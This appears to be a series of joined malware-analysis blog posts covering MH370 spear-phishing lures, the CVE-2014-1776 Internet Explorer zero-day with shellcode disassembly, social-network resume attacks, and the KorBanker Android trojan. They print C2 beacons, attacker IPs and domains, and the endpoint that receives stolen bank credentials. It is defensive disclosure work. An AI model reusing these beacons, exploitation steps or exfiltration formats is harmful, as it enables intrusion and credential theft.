E:\Work\T5000\T5 Install\ResN\Release\ResN32.pdb
F:\WORK\PROJECT\T5 Install\InstDll\Release\InstDll.pdb

This malware family was also described in more detail here.

The Mongall/Saker Lures

Another sample leveraging the missing airliner theme was seen on March 12, 2014. The malicious document exploited CVE-2012-0158 and was titled, “Missing Malaysia Airlines Flight 370.doc” (MD5: 467478fa0670fa8576b21d860c1523c6). Although the extension looked like a Microsoft Office .DOC file, it was actually an .HTML Application (HTA) file. Once the exploit is successful, the payload makes itself persistent by adding a Windows shortcut (.LNK) file pointing to the malware in the “Startup” folder in the start menu. It beacons outbound to comer4s.minidns[.]net:8070. The network callback pattern, shown below, is known by researchers as “Mongall” or “Saker”:

GET /3010FC080[REDACTED] HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wis NT 5.0; .NET CLR 1.1.4322)
Host: comer4s.minidns.net:8070
Cache-Control: no-cache

The sample also drops a decoy file called “aa.doc” into the temp folder and displays the decoy content shown below:

The “Tranchulas” Lures

On March 18, 2014 a sample entitled “Malysia Airline MH370 hijacked by Pakistan.zip” was sent as a ZIP file (MD5: 7dff5c4ae1b1fea7ecbf7ab787da3468) that contained a Windows screensaver file disguised as a PDF (MD5: b03edbb264aa0c980ab2974652688876). The ZIP file was hosted on 199.91.173.43. This IP address was previously used to host malicious files.

The screen saver file drops “winservice.exe” (MD5: 828d4a66487d25b413cb19ef8ee7c783) which begins beaconing to 199.91.173.45. This IP address was previously used to host a file entitled “obl_leaked_report.zip” (MD5: a4c7c79308139a7ee70aacf68bba814f).

The initial beacon to the command-and-control server is as follows:

POST /path_active.php?compname=[HOSTNAME]_[USERNAME] HTTP/1.1
Host: 199.91.173.45
Accept: */*
Content-Length: 11
Content-Type: application/x-www-form-urlencoded

This same control server was used in previous activity.

The Page Campaign

A final malicious document was seen abusing the missing Flight 370 story on March 18, 2014. This document exploited CVE-2012-0158 and was entitled “MH370 PM statement 15.03.14 – FINAL.DOC” (MD5: 5e8d64185737f835318489fda46f31a6). This document dropped a Backdoor.APT.Page implant and connected to 122.10.89.85 on both port 80 and 443. The initial beacon traffic over port 80 is as follows:

GET /18110143/page_32180701.html HTTP/1.1
Accept: */*
Cookie: XX=0; BX=0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: 122.10.89.85
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache

Conclusion

While many APT actors have adopted strategic Web compromise as a delivery vector, it is apparent that spear phishing via email-based attachments or links to zip files remain popular with many threat actors, especially when paired with lures discussing current media events. Network defenders should incorporate these facts into their user training programs and be on heightened alert for regular spear-phishing campaigns, which leverage topics dominating the news cycle.

Acknowledgement: We thank Nart Villeneuve and Patrick Olsen for their support, research, and analysis on these findings.

Summary

FireEye Research Labs identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks.  The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11.  This zero-day bypasses both ASLR and DEP. Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue.

Threat actors are actively using this exploit in an ongoing campaign which we have named “Operation Clandestine Fox.” However, for many reasons, we will not provide campaign details. But we believe this is a significant zero day as the vulnerable versions represent about a quarter of the total browser market. We recommend applying a patch once available.
According to NetMarket Share, the market share for the targeted versions of IE in 2013 were:

IE 9      13.9%
IE 10    11.04%
IE 11     1.32%

Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market.  The vulnerability, however, does appear in IE6 through IE11 though the exploit targets IE9 and higher.

The Details

The exploit leverages a previously unknown use-after-free vulnerability, and uses a well-known Flash exploitation technique to achieve arbitrary memory access and bypass Windows’ ASLR and DEP protections.

Exploitation

• Preparing the heap

The exploit page loads a Flash SWF file to manipulate the heap layout with the common technique heap feng shui. It allocates Flash vector objects to spray memory and cover address 0×18184000. Next, it allocates a vector object that contains a flash.Media.Sound() object, which it later corrupts to pivot control to its ROP chain.

• Arbitrary memory access

The SWF file calls back to Javascript in IE to trigger the IE bug and overwrite the length field of a Flash vector object in the heapspray. The SWF file loops through the heapspray to find the corrupted vector object, and uses it to again modify the length of another vector object. This other corrupted vector object is then used for subsequent memory accesses, which it then uses to bypass ASLR and DEP.

• Runtime ROP generation

With full memory control, the exploit will search for ZwProtectVirtualMemory, and a stack pivot (opcode 0×94 0xc3) from NTDLL. It also searches for SetThreadContext in kernel32, which is used to clear the debug registers. This technique, documented here, may be an attempt to bypass protections that use hardware breakpoints, such as EMET’s EAF mitigation.

With the addresses of the aforementioned APIs and gadget, the SWF file constructs a ROP chain, and prepends it to its RC4 decrypted shellcode. It then replaces the vftable of a sound object with a fake one that points to the newly created ROP payload. When the sound object attempts to call into its vftable, it instead pivots control to the attacker’s ROP chain.

• ROP and Shellcode

The ROP payload basically tries to make memory at 0×18184000 executable, and to return to 0x1818411c to execute the shellcode.

0:008> dds eax
18184100  770b5f58 ntdll!ZwProtectVirtualMemory
18184104  1818411c
18184108  ffffffff
1818410c  181840e8
18184110  181840ec
18184114  00000040
18184118  181840e4

Inside the shellcode, it saves the current stack pointer to 0×18181800 to safely return to the caller.

mov     dword ptr ds:[18181800h],ebp

Then, it restores the flash.Media.Sound vftable and repairs the corrupted vector object to avoid application crashes.

18184123 b820609f06      mov     eax,69F6020h
18184128 90              nop
18184129 90              nop
1818412a c700c0f22169    mov     dword ptr [eax],offset Flash32_11_7_700_261!AdobeCPGetAPI+0x42ac00 (6921f2c0)
18184133 b800401818      mov     eax,18184000h
18184138 90              nop
18184139 90              nop
1818413a c700fe030000    mov     dword ptr [eax],3FEh ds:0023:18184000=3ffffff0

The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack base/limit.

18184140 8be5            mov     esp,ebp
18184142 83ec2c          sub     esp,2Ch
18184145 90              nop
18184146 eb2c            jmp     18184174

The shellcode calls SetThreadContext to clear the debug registers. It is possible that this is an attempt to bypass mitigations that use the debug registers.

18184174 57              push    edi
18184175 81ece0050000    sub     esp,5E0h
1818417b c7042410000100  mov     dword ptr [esp],10010h
18184182 8d7c2404        lea     edi,[esp+4]
18184186 b9dc050000      mov     ecx,5DCh
1818418b 33c0            xor     eax,eax
1818418d f3aa            rep stos byte ptr es:[edi]
1818418f 54              push    esp
18184190 6afe            push    0FFFFFFFEh
18184192 b8b308b476      mov     eax,offset kernel32!SetThreadContext (76b408b3)
18184197 ffd0            call    eax

The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as an image.

Mitigation

Using EMET may break the exploit in your environment and prevent it from successfully controlling your computer. EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests.
Enhanced Protected Mode in IE breaks the exploit in our tests. EPM was introduced in IE10.
Additionally, the attack will not work without Adobe Flash. Disabling the Flash plugin within IE will prevent the exploit from functioning.

Threat Group History

The APT group responsible for this exploit has been the first group to have access to a select number of browser-based 0-day exploits (e.g. IE, Firefox, and Flash) in the past. They are extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure. They have a number of backdoors including one known as Pirpi that we previously discussed here. CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case.

As this is still an active investigation we are not releasing further indicators about the exploit at this time.

Acknowledgement: We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart Villeneuve and Yichong Lin for their support, research, and analysis on these findings.

On April 26th, FireEye Research Labs notified the public of a new IE zero-day exploit being used in “Operation Clandestine Fox.” The initial attack targeted users of IE versions 9, 10, and 11 on Windows 7 and 8. Despite attackers only targeting those versions of Microsoft IE and Windows OS, the vulnerability actually impacts all versions of IE from 6 through 11.

Today, FireEye Labs can reveal a newly uncovered version of the attack that specifically targets out-of-life Windows XP machines running IE 8. This means that live attacks exploiting CVE-2014-1776 are now occurring against users of IE 8 through 11 and Windows XP, 7 and 8.

We have also observed that multiple, new threat actors are now using the exploit in attacks and have expanded the industries they are targeting. In addition to previously observed attacks against the Defense and Financial sectors, organization in the Government- and Energy-sector are now also facing attack.

Mitigation

In our tests, disabling VXG.dll blocks this attack on all configurations of IE and Windows OSs. However, we strongly suggest that Windows XP users upgrade to a later Windows operating system to take advantage of new mitigation technologies from Microsoft, such as EMET 5.0 and IE with Enhanced Protected Mode (EPM). Deploying preventative measures now will help mitigate the impact of these exploits until Microsoft patches the underlying vulnerability, and will offer additional protection from future ZeroDay exploits.

Details

The main differences between this new attack targeting Windows XP compared to the original Windows 7/8.1 versions of this attack are the mitigation bypasses. The Windows 7/8.1 version develops its write primitive into read/write access to much of the process space by corrupting Flash vector objects. This is to bypass ASLR by searching for ROP gadgets and building a ROP chain dynamically in memory.

Without ASLR, ROP gadgets can be constructed beforehand with static addresses. Consequently, Flash assistance in the Windows XP version is much simpler. It builds a ROP chain with static addresses to gadgets in MSVCRT, tweaks addresses for a plethora of language packs, and jumps directly to a pivot without developing a write primitive. From there, the ROP chain calls VirtualAlloc to allocate executable memory, copies the shellcode to the allocated chunk, and executes the shellcode.

This new tactic of specifically targeting those running Windows XP means the risk factors of this vulnerability are now even higher. We have been working with Microsoft and they have released an Out of Band patch. FireEye highly recommends users of Microsoft Internet Explorer apply the patch as soon as possible for security reasons.

Between 29 April and 27 May, FireEye Labs identified several new Molerats attacks targeting at least one major U.S. financial institution and multiple, European government organizations.

When we last published details relevant to Molerats activity in August of 2013, we covered a large campaign of Poison Ivy (PIVY) attacks directed against several targets in the Middle East and the United States. We felt it was significant to highlight the previous PIVY campaigns to:

1. Demonstrate that any large-scale, targeted attacks utilizing this off-the-shelf Remote Access Tool (RAT) shouldn’t be automatically linked to Chinese threat actors.
2. Share several documented tactics, techniques, and procedures (TTP), and indicators of compromise (IOC) for identifying Molerats activity.

However, this was just one unique facet to a much broader series of related attacks dating back to as early as October 2011 and are still ongoing. Previous research has linked these campaigns to Molerats, but with so much public attention focused on APT threat actors based in China, it’s easy to lose track of targeted attacks carried out by other threat actor groups based elsewhere. For example, we recently published the “Operation Saffron Rose” whitepaper, detailing a rapidly evolving Iranian-based threat actor group known as the “Ajax Security Team.”

We reported at the end of April and the beginning of May on an APT threat group leveraging a zero-day vulnerability in Internet Explorer via phishing email attacks. While Microsoft quickly released a patch to help close the door on future compromises, we have now observed the threat actors behind “Operation Clandestine Fox” shifting their point of attack and using a new vector to target their victims: social networking.

An employee of a company in the energy sector recently received an email with a RAR archive email attachment from a candidate. The attachment, ostensibly containing a resume and sample software program the applicant had written, was from someone we’ll call “Emily” who had previously contacted the actual employee via a popular social network.

FireEye acquired a copy of the suspicious email – shown below in Figure 1 – and attachment from the targeted employee and investigated. The targeted employee confirmed that “Emily” had contacted him via the popular social network, and that, after three weeks of back and forth messaging “she” sent her “resume” to his personal email address.  

Figure 1: Sample email illustrating how “Emily” attacks a victim employee

Working our way backwards, we reviewed “Emily’s” social network profile and noticed a few strange aspects that raised some red flags. For example, “her” list of contacts had a number of people from the victim’s same employer, as well as employees from other energy companies; “she” also did not seem to have many other “friends” that fit “her” alleged persona. “Her” education history also contained some fake entries.

Further research and discussions with the targeted company revealed that “Emily,” posing as a prospective employee, had also contacted other personnel at the same company. She had asked a variety of probing questions, including inquiring who the IT Manager was and what versions of software they ran – all information that would be very useful for an attacker looking to craft an attack.

It’s worth emphasizing that in the instances above, the attackers used a combination of direct contact via social networks as well as contact via email, to communicate with their intended targets and send malicious attachments. In addition, in almost all cases, the attackers used the target’s personal email address, rather than his or her work address. This could be by design, with a view toward circumventing the more comprehensive email security technologies that most companies have deployed, or also due to many people having their social network accounts linked to their personal rather than work email addresses.

Details – Email Attachment #1

The resume.rar archive contained three files: a weaponized version of the open-source TTCalc application (a mathematical big number calculator), a benign text copy of the TTCalc readme file, and a benign PDF of Emily’s resume. The resume was a nearly identical copy of a sample resume available elsewhere on the Internet. The file details are below.

Upon execution, ttcalc.exe drops the two files listed below, and also launches a legitimate copy of TTCalc v0.8.6 as a decoy:

%USERPROFILE%/Application Data/mt.dat
%USERPROFILE%/Start Menu/Programs/Startup/vc.bat

The file mt.dat is the actual malware executable, which we detect as Backdoor.APT.CookieCutter. Variants of this family of backdoor are also referred to as “Pirpi” in the security industry. In this case, the malware was configured to use the following remote servers for command and control:

• swe[.]karasoyemlak[.]com
• inform[.]bedircati[.]com (Note: This domain was also used during Operation Clandestine Fox)
• 122.49.215.108

Metadata for mt.dat:

Contents of vc.bat:

Details – Email Attachment #2

Through additional research, we were able to obtain another RAR archive email attachment sent by the same attackers to an employee of another company. Note that while there are a lot of similarities, such as the fake resume and inclusion of TTCalc, there is one major difference, which is the delivery of a completely different malware backdoor. The attachment name this time was “my resume and projects.rar,” but this time it was protected with the password “TTcalc.”

SETUP.exe is a self-extracting RAR, which opens the WinRAR window when executed, prompting the user for the location to extract the files. It writes them to a TTCalc folder and tries to launch ttcalcBAK.exe (the malware dropper), but the path is incorrect so it fails with an error message. All of the other files are benign and related to the legitimate TTCalc application.

The file ttcalcBAK.exe is also a self-extracting Rar which drops and launches chrome_frame_helper, which is a Backdoor.APT.Kaba (aka PlugX/Sogu) backdoor using a legitimate Chrome executable to load the malicious DLL via side-loading. Although this backdoor is used by multiple threat groups and is quite commonly seen these days, this is the first time we’ve observed this particular threat group using this family of malware. The malware was configured to communicate to the command and control domain www[.]walterclean[.]com (72.52.83.195 at the time of discovery) using the binary TCP protocol only. The file details are below, followed by the malware configuration.

Backdoor.APT.Kaba Malware Configuration:

PlugX Config (0x150c bytes):

Flags: False True False False False False True True True True False

Timer 1: 60 secs

Timer 2: 60 secs

C&C Address: www[.]walterclean[.]com:443 (TCP)

Install Dir: %ALLUSERSPROFILE%\chrome_frame_helper

Service Name: chrome_frame_helper

Service Disp: chrome_frame_helper

Service Desc: Windows chrome_frame_helper Services

Online Pass: 1234

Memo: 1234

Open Source Intel

The domain walterclean[.]com shares registration details with securitywap[.]com:

The following domains are registered to QQ360LEE@126.COM

Domain: walterclean[.]com
Create Date: 2014-03-26 00:00:00
Registrar: ENOM, INC.

Domain: securitywap[.]com
Create Date: 2014-03-26 00:00:00
Registrar: ENOM, INC.

Conclusion

In short, we attributed these attacks to the same threat actor responsible for “Operation Clandestine Fox,” based on the following linkages:

• The first-stage malware (mt.dat) is a slightly updated version of the Backdoor.APT.CookieCutter malware dropped during Operation Clandestine Fox
• Based on our intel, Backdoor.APT.CookieCutter has been used exclusively by this particular threat group
• Finally, the command and control domain inform[.]bedircati[.]com seen in this activity was also used during the Clandestine Fox campaign

Another evolutionary step for this threat group is that they have diversified their tool usage with the use of the Kaba/PlugX/Sogu malware – something we have never seen them do before.

As we have noted in other blog posts, APT threat actors take advantage of every possible vector to try to gain a foothold in the organizations they target. Social networks are increasingly used for both personal and business reasons, and are one more potential threat vector that both end-users and network defenders need to think about.

Unfortunately, it is very common for users to let their guard down when using social networks or personal email, since they don’t always treat these services with the same level of risk as their work email.  As more companies allow their employees to telecommute, or even allow them to access company networks and/or resources using their personal computers, these attacks targeting their personal email addresses pose significant risk to the enterprise.

Acknowledgements

The author would like to acknowledge the following colleagues for their contributions to this report: Josh Dennis, Mike Oppenheim, Ned Moran, and Joshua Homan.

FireEye recently identified a malicious mobile application that installs a fake banking application capable of stealing user credentials. The top-level app acts as a bogus Google Play application, falsely assuring the user that it is benign.

FireEye Mobile Threat Prevention platform detects this application as Android.KorBanker. This blog post details both the top-level installer as well as the fake banking application embedded inside the top-level app.

The app targets the following banks, all of which are based in Korea.

• Hana Bank
• IBK One
• KB Kookmin Bank
• NH Bank
• Woori Bank
• Shinhan Bank

Once installed, the top-level application presents itself as a Google Play application. It also asks the user for permission to activate itself as a device administrator, which gives KorBanker ultimate control over the device and helps the app stay hidden from the app menu.

The user sees the messages in Figure 1 and Figure 2.

The message in Figure 2 translates to: “Notification installation file is corrupt error has occurred. Sure you want to delete the corrupted files?”

When the user clicks taps the “Yes’ button, KorBanker hides itself from the user by calling the following Android API:

getPackageManager().setComponentEnabledSetting(new ComponentName("com.pro.www", "com.pro.www.MainActivity"), 2, 1)

The arguments “2” and “1” which are being passed to the above function are explained below.

The 2 argument represents is the value for the COMPONENT_ENABLED_STATE_DISABLED flag, which causes the component to be disabled from the menu of apps.

The 1 argument is the value for the DONT_KILL_APP flag, which indicates that the app should not be killed and continue running in the background.

After installation, the app checks whether any of the six targeted banking applications have been installed. If it finds any, it deletes the legitimate banking application and silently replaces it with a fake version. The fake versions of the banking applications are embedded in the “assets” directory of the top-level APK.

Initial registration protocol

The top-level APK and the embedded fake banking app register themselves with their respective command-and-control (CnC) servers. The following section explains the registration process.

Top-level app

The top-level app registers itself by sending the device ID of the phone to the remote CnC server packed in a JavaScript Object Notation (JSON) object. The data packet excerpt is shown in Figure 3. This is the first packet that is sent out once the app is installed on the device.

Figure 3: KorBanker data packet during registration

The packet capture shown in Figure 3 shows the structure of the registration message. The bytes highlighted in red indicate the CnC message code of 0×07(decimal 7) which translates to the string addUserReq.

Outlined in yellow is length indicator — 0×71(113 bytes)— followed by the JSON object containing the Device ID and the phone number of the device. The values for callSt and smsSt are statically set to 21 and 11, respectively.

The response bytes shown in black containing 0×04 and 0×01 map to the command addUserAck. They are sent by the server to acknowledge the receipt of the previously sent addUserReq. Code inside the application invokes various functions as it receives commands. These functions may exist for future updates of the application.

Figure 4: KorBanker code for sending incoming messages to CnC server

Once the installation of the app has been registered, the app waits for incoming messages on the phone, possibly looking for access codes that arrive as a part of two factor authentication methods for one of the six targeted banks. All incoming messages to the phone are intercepted and sent to the CnC server 180.214.160.70 on port 8888 as shown in Figure 4.

The bytes highlighted in red after the response show the message code of 0×08 (Decimal 8), which translates to the command addSmsReq. This is followed by the size of the message. The Device ID is sent at the end of the data packet to identify the device from which this message was seen with the timestamp. It also suppresses the SMS notifications from the user and deletes the message from the device.

The remote CnC infrastructure is based on numeric codes. These codes are stored in a data structure in the app. All incoming messages and responses from the CnC server arrive in numeric codes and get translated into corresponding strings, which in turn drive the app to perform different tasks.

Table 1 shows the CnC commands supported by the top-level app. All the commands ending with “Req” correspond to the infected client requests made to the CnC server. All the commands ending with “Ack” indicate acknowledgements of the received commands.

Fake banking app 

The fake banking app once installed registers with a CnC server on a different IP address by sending the HTTP request shown below.

Figure 5: Data capture showing the installation of the fake banking app 

Once the phone is registered, the user is presented with the following fake login page of the banking app, which prompts the user for banking account credentials. All these credentials are stored internally in a JSON object.

The user is then prompted for a SCARD code and 35-digit combination, which is recorded into the JSON and sent out to ‘http://180.214.160.70/send_bank.php’ as follows:

{ "renzheng" : "1234",

"fenli" : "1234",

"datetime" : "2013-08-12 12:32:32",

"phone":'8889991111',

"bankinid": '1234',

"jumin": '1234',

"banknum" : '1234',

"banknumpw" : '1234',

"paypw" : 'test',

"scard" : "1234567890",

"sn1" : "1234",

"sn2" : "1234",

"sn3" : "1234",

....

....

"sn34" : "1234",

"sn35" : "1234"

}

The response received is as follows:

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Connection: close

Content-Type: text/html

Date: Fri, 22 Nov 2013 02:05:00 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Conclusion

This malware sample takes extra measures to obtain banking credentials. With the increased usage of mobile devices and with the liberal permission allotment to apps that appear benign we are now at an increased risk of monetary losses on the mobile front. Mobile banking is not completely void of its adversaries. KorBanker is a vivid reminder of just how dangerous apps from untrusted sources can be.

FireEye has been busy over the last year. We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors. We chopped through Poison Ivy, documented a cyber arms dealer, and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.

Worldwide, security experts made many breakthroughs in cyber defense research in 2013. I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.

In this post, I would like to highlight some of the outstanding research from 2013.

Trends in Targeting

Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals. But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.

Conflict

Where kinetic conflict and nation-state disputes arise, malware is sure to be found. Here are some of the more interesting cases documented this year:

• Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
• India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace. Exemplifying this trend was the Indian malware group Hangover, the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
• Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks. Another campaign, Kimsuky, may also have a North Korean connection.
• China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.

Diplomacy

Malware continues to play a key role in espionage in the Internet era. Here are some examples that stood out this year:

• The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
• In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
• The Asia-Pacific Economic Cooperation (APEC) and The Association of Southeast Asian Nations (ASEAN) are also frequent targets.
• FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
• Red October, EvilGrab, and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.

Technical Trends

Estimations of “sophistication” often dominate the coverage of targeted malware attacks. But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection. Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits. And this year quite a number of zero-days were used in targeted attacks.

Exploits

Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye. These exploits included techniques to bypass ASLR and application sandboxes. The exploits that I consider the most significant are the following:

• CVE-2013-0640, which was used in the MiniDuke attacks,
• CVE-2013-1347, which was used in a watering hole attack on the Department of Labor website,
• CVE-2013-3893, which was deployed by the same group, DeputyDog, which compromised Bit9 earlier in the year,
• CVE-2013-3906, which was used in both targeted attacks and in cybercrime campaigns
• CVE-2013-3918, which was also deployed by DeputyDog in a watering hole attack.

Evasion

The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection. For example, there were changes to Aumlib and Ixeshe, which are malware families associated with APT12, the group behind attacks on the New York Times. When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware. In addition, Taidoor, Terminator (aka FakeM), and Sykipot were modified.

Threat Actors

Attribution is a tough problem, and the term itself has multiple meanings. Some use it to refer to an ultimate benefactor, such as a nation-state. Others use the term to refer to malware authors, or command-and-control (CnC) operators. This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.

• Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor. Some are supplied by commercial entities such as FinFisher, which has been reportedly used against activists around the world, and HackingTeam, which sells spyware to governments and law enforcement agencies. FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear. Another similar cluster, known as the Maudi Operation, was also documented this year.

• Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx, may be “hackers for hire”, tasked with breaking into targets and acquiring specific information. Others, such as IceFog, engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion. Another group, known as Winnti, tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity. In one of the weirdest cases I have seen, malware known as “MiniDuke”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.

My colleagues at FireEye have put forward some interesting predictions for 2014 that cut across these themes. While the noisier groups will continue their operations as usual — being documented in research papers rarely seems to faze them — I believe that some groups will adopt increasingly stealthy techniques in the near future. In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.

Between 29 April and 27 May, FireEye Labs identified several new Molerats attacks targeting at least one major U.S. financial institution and multiple, European government organizations.

When we last published details relevant to Molerats activity in August of 2013, we covered a large campaign of Poison Ivy (PIVY) attacks directed against several targets in the Middle East and the United States. We felt it was significant to highlight the previous PIVY campaigns to:

1. Demonstrate that any large-scale, targeted attacks utilizing this off-the-shelf Remote Access Tool (RAT) shouldn’t be automatically linked to Chinese threat actors.
2. Share several documented tactics, techniques, and procedures (TTP), and indicators of compromise (IOC) for identifying Molerats activity.

However, this was just one unique facet to a much broader series of related attacks dating back to as early as October 2011 and are still ongoing. Previous research has linked these campaigns to Molerats, but with so much public attention focused on APT threat actors based in China, it’s easy to lose track of targeted attacks carried out by other threat actor groups based elsewhere. For example, we recently published the “Operation Saffron Rose” whitepaper, detailing a rapidly evolving Iranian-based threat actor group known as the “Ajax Security Team.”